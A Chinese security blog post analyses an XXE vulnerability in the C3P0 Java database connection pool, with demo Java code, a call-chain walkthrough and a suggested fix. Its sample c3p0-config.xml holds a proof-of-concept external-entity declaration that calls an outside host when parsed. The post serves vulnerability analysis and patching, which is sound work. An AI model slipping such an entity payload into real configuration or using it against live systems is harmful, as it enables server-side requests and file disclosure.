新闻详情

分享 | C3P0数据库连接池XXE漏洞

分享 | C3P0数据库连接池XXE漏洞


01.数据库连接池介绍

      数据库连接池负责分配、管理和释放数据库连接,它允许应用程序重复使用一个现有的数据库连接,而不是再重新建立一个;释放空闲时间超过最大空闲时间的数据库连接来避免因为没有释放数据库连接而引起的数据库连接遗漏。这项技术能明显提高对数据库操作的性能。常见的数据库连接池有C3P0、DBCP(Apache的JAVA数据库连接池项目,Tomcat默认数据源就是DBCP)、Druid(阿里出品,淘宝和支付宝专用数据库连接池)等。


02.C3P0执行流程及漏洞原理

C3P0的官网为:

https://www.mchange.com/projects/c3p0 

你可以在

https://www.mchange.com/projects/c3p0/apidocs/index.html 查看C3P0的API文档。

先贴上Demo主要代码


public class App {
public static void main(String[] args{
//初始化User对象,然后调用userLogin()方法
UserDao userDao = new UserDaoImpl();
User user = new User();
user.setUsername("admin");
user.setPassword("123456");
boolean flag = userDao.userLogin(user);
System.out.println(flag);
}
}


UserDaoImpl 类:

public class UserDaoImpl implements UserDao {

JdbcTemplate jdbcTemplate = C3P0Util.getJdbcTemplate();
@Override
public boolean userLogin(User user) {
String sql = "select * from users where username = ? and password = ?";
SqlRowSet sqlRowSet = jdbcTemplate.queryForRowSet(sql, new Object[] {user.getUsername(),user.getPassword()});
if(sqlRowSet.next()) {
return true;
}else {
return false;
}
}
}

 C3P0Util类

public class C3P0Util {
static ComboPooledDataSource dataSource = new ComboPooledDataSource();
public static JdbcTemplate getJdbcTemplate() {
JdbcTemplate jdbcTemplate = new JdbcTemplate();
        jdbcTemplate.setDataSource(dataSource);
        return jdbcTemplate;
}
}


  c3p0-config.xml

<?xml version='1.0' encoding='utf-8' standalone='yes'?>
<!DOCTYPE root[  
  <!ENTITY % d SYSTEM "http://www.zhutougg.com/aaaaaaaaaaaaaaa">
%d;]>

<c3p0-config>
  <default-config>
    <property name="driverClass">com.mysql.jdbc.Driver</property>
    <property name="jdbcUrl">jdbc:mysql://127.0.0.1:3306/note</property>
    <property name="user">root</property>
    <property name="password">root</property>
  </default-config>
</c3p0-config>


我们在

ComboPooledDataSource dataSource = new ComboPooledDataSource()这一行代码打上断点,然后进行调试。

由入口ComboPooledDataSource类开始


图片1.jpg



调用父类AbstractPoolBackedDataSource

的AbstractPoolBackedDataSource()方法

图片2.jpg



再调用父类

PoolBackedDataSourceBase的PoolBackedDataSourceBase()方法

图片3.jpg


但是在执行该方法前,会先初始化dataSourceName变量

图片4.jpg


跟进

C3P0Config.initializeStringPropertyVar()方法,发现C3P0Config类有个静态代码块

图片5.jpg

图片6.jpg



调用了C3P0ConfigFinder接口的findConfig()方法,C3P0ConfigFinder接口只有一个实现类DefaultC3P0ConfigFinder

图片7.jpg


图片8.jpg


C3P0ConfigXmlUtils.extractXmlConfigFromDefaultResource() 

再调用

C3P0ConfigXmlUtils.extractXmlConfigFromInputStream(InputStream)方法,即读取常量XML_CONFIG_RSRC_PATH = "/c3p0-config.xml" 进行初始化,导致了XXE漏洞

图片9.jpg


运行效果图如下:

图片10.jpg



03.该漏洞修复方案

在使用XML解析器时需要设置禁止使用外部实体。以DocumentBuilderFactory为例

DocumentBuilderFactory fact = DocumentBuilderFactory.newInstance();
fact.setExpandEntityReferences(false);
DocumentBuilder db = fact.newDocumentBuilder();


参考链接:

https://github.com/zhutougg/c3p0/commit/2eb0ea97f745740b18dd45e4a909112d4685f87b